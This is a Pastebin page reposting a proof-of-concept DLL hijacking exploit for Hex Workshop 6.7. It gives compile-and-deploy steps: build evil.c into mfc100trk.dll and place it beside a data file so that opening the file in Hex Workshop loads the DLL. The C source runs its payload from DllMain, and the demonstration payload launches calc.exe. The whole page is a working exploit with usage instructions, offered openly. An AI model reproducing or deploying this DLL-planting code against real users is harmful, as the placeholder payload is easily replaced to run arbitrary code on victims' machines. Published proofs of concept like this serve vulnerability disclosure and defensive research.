Advertisement
AndrewHaxalot

Hex Workshop 6.7 DLL Hijack

Dec 9th, 2013
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.11 KB | None | 0 0
  1. /* # Exploit Title: Hex Workshop v 6.7 (mfc100trk.dll) - DLL Hijacking Vulnerability
  2. // # Date: 29.11.2013
  3. // # Exploit Author: Akin Tosunlar / Ozgur Yurdusev
  4. // # Software Link: http://www.download.com/Hex-Workshop/3000-2352_4-10004918.html?part=dl-HexWorksh&subj=dl&tag=button
  5. // # Version: 6.7 (Probably old version of software and the LATEST version too)
  6. // # Vendor Homepage: http://www.bpsoft.com/
  7. // # Tested on: [ Windows XP sp3]
  8. // # Contact : info@vigasis.com
  9. // #------------------
  10. // # Web Page : http://www.vigasis.com
  11. // #
  12. // # YOUTUBE EXPLOIT VIDEO: http://www.youtube.com/watch?v=yGGGabFNUiA&feature=youtu.be
  13. // #
  14. // # gcc -shared -o mfc100trk.dll evil.c
  15. // # Compile evil.c and rar or zip where you want the file extension (for ex: .byte) and mfc100trk.dll same folder. Associate Default Opener as Hex Workshop or OpenWith Hex Workshop.Double-click File. program start Calc.exe immediately.
  16. // #
  17. */
  18.  
  19.  
  20. #include <windows.h>
  21.  
  22. int evilcode()
  23. {
  24. WinExec("calc", 0);
  25. exit(0);
  26. return 0;
  27. }
  28.  
  29. BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
  30. {
  31. evilcode();
  32. return 0;
  33. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement